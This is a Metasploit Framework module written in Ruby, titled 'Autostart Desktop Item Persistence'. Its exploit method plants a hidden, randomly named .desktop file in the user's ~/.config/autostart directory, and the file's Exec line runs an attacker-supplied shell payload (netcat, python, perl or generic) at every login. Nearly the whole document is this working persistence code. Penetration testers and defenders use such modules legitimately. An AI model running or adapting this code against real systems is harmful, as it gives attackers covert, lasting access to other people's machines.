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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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  Rank = ExcellentRanking
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  include Msf::Post::File
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  include Msf::Post::Unix
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Autostart Desktop Item Persistence',
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      'Description'    => %q(
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        This module will create an autostart entry to execute a payload.
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        The payload will be executed when the users logs in.
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      ),
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      'License'        => MSF_LICENSE,
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      'Author'         => [ 'Eliott Teissonniere' ],
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      'Platform'       => [ 'unix', 'linux' ],
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      'Arch'           => ARCH_CMD,
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      'Payload'        => {
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        'BadChars'   => '#%\n"',
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        'Compat'     => {
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          'PayloadType'  => 'cmd',
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          'RequiredCmd'  => 'generic python netcat perl'
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        }
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      },
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      'SessionTypes'   => [ 'shell', 'meterpreter' ],
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      'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => true },
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      'DisclosureDate' => '2006-02-13', # Date of the 0.5 doc for autostart
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      'Targets'        => [ ['Automatic', {}] ],
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      'DefaultTarget'  => 0
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    ))
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    register_options([ OptString.new('NAME', [false, 'Name of autostart entry' ]) ])
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  end
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  def exploit
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    name = datastore['NAME'] || Rex::Text.rand_text_alpha(5)
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    home = cmd_exec('echo ~')
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    path = "#{home}/.config/autostart/#{name}.desktop"
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    print_status('Making sure the autostart directory exists')
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    cmd_exec("mkdir -p #{home}/.config/autostart") # in case no autostart exists
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    print_status("Uploading autostart file #{path}")
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    write_file(path, [
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      "[Desktop Entry]",
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      "Type=Application",
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      "Name=#{name}",
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      "NoDisplay=true",
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      "Terminal=false",
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      "Exec=/bin/sh -c \"#{payload.encoded}\""
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    ].join("\n"))
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  end
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end
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